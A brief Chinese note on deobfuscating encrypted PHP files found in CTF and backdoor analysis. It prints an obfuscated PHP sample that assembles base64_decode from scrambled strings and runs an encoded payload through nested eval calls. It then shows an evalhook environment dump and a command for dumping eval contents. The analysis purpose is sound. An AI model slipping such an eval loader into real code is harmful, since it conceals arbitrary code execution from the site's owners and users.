CTF/php后门分析中经常遇到加密压缩过的PHP文件，
<?
$O00OO0=urldecode("n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iQk9DWm1LUHF5bkR4QWJmR05FdW90c2pkUlljcmlKTXdWZ0ZVenZYTGthVFNwSWxoZUhRV1dITmZhQ0d5b3RzanBRTFN3WXpyYmx4aERjQXZUT1VQUklpdW1aSmVrbktkcWdNVlhGRUJHczh3TmFWTWNCRE1BVElURTI5emhTUnpoTjEwWEpXTUhUVzBmSlYwZTJWMFFCUDdnU3dyY0pPbWZKRTloSkRhZUtJVENLbElzRXFxZlRJVmZhTWxmUjlNWFNNbWhGVXJPbzRaZlNpMGNkOXFRdHcwY0JqbGVhalpjMmx0Q2Rrd050bHdOVHBJZ05XcmZCaWtmSmdyZ2tqWmMyaTBuQjl6SFRwWm5CNW1oU2lsUU45cVFhRE1YTjVQbkZwVENLbHdOVHBJZ05XTVhTTTBIUDBDTEUwQ2ZTUmFuQjVNQ05oV3VpV0x1azlHUk5BbGdGdzBBTTlvZkpXbGNCd01DTmhBSk5BbGdOQVpPb1BJZlNNb1FhaWJmZFZMSjBmT0tZUkxKb2txQ0tsd05UOHlnSEI2TUhYdXlIQkV4WFh0bEZoM2hvNVZmUzFxUWE0emMyNHllUDBDZlNSYW5CNU1DTmhXdWlXTEtraXdEZEFsZ05oVkFGcHRDS2x3TlQ4eWdIQjZNSFh1eUhYUXZ6QjlNZHJac0Vxa2ZCZnFRYXVyTzBpRXVpOUVFUkRnT29QSU9vNFpjMjFtaFNpWmVvQXFIUDBDZW9ySTVxQlA1cjJ6NTV6ejVRMlJDVDh3TmFETWZhTXpmZEl0dVlNSEowRFdSWWlMdVlpdWROQWxnTkF6ZTJEVmhTWVpPb2s3c0VyWkNUc2FUbnRNbGZKdGE2N01aZnV5ZVAwQ2ZTUmFuQjVNQ05oaUJpRGlLa0RMdVlpdWROQWxnWWlFdWk5RUVSRGdnTjRJTzBSNGhTUnpmTjh0Q0tsd05UOHlnSGFpeFhYOXZ6bkJWK2Q3YnpYUXZ6QjlNZHJac0Vxa2ZCZnFRYXVyTzB3R0trZkx1WWl1ZE5BbGdpV09LTTlZRVJEV0oxV1dSWUlJZVRwdGMyOXpmYU10ZW9BcUhQMENlb3JJNXFCUDVyMno1NXp6NVEyUkNUOHdOYURNZmFNemZkSXR1TVJIUllNd0RSOUVFUkRnT29QSU9vNFpKM08xUXREcVFCdVpPb2s3c0VyWkNUV2dSWTFVNmYyZjVyTlc1cW5GNWV6MjU1eno1UTJSQ1Q4d05UOFpmU1JhbkI1TUNOaGdSWTFVSjFXV1JZSXRlTldFZHU1TERZaXVFUjlFRVJEZ2dONElPMlYwUUJQWk9vazdzRXJaQ1RXWUR1T1JEK0I4SUhCaWxvclpzRXFrZkJmcVFhdXJPMGlFdWk5WUR1T1JEb0FsZ1NmVlFGd01DS2x3TnRPTUFKUnFBYXVyZ1Q0WmMyOW9mZDl1blNNem4xV2d1Tjl1blNNem4xV2d1TjVQbkZwVENLbHdOSTBDc0VyL0dJPT0iO2V2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksJE9PME8wMCgkTzBPMDAwLDAsJE9PMDAwMCkpKSk7"));
?>
编译环境
=====================================================================
PHP : /usr/bin/php7.2
PHP_SAPI : cli
PHP_VERSION : 7.2.9-1
ZEND_VERSION: 3.2.0
PHP_OS : Linux - Linux kali 4.14.0-kali3-amd64 #1 SMP Debian 4.14.17-1kali1 (2018-02-16) x86_64
INI actual : /root/temp/evalhook/tmp-php.ini
More .INIs :
CWD : /root/temp/evalhook
Extra dirs :
VALGRIND : Not used
=====================================================================
TIME START 2019-01-04 07:46:12
=====================================================================
php -d extension=evalhook.so encoded_script.php 可直接dump大部分加密php文件中eval中的内容
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php goto解密源码，无需数据库，直接上传即可使用。亲测可解php的goto加密方式
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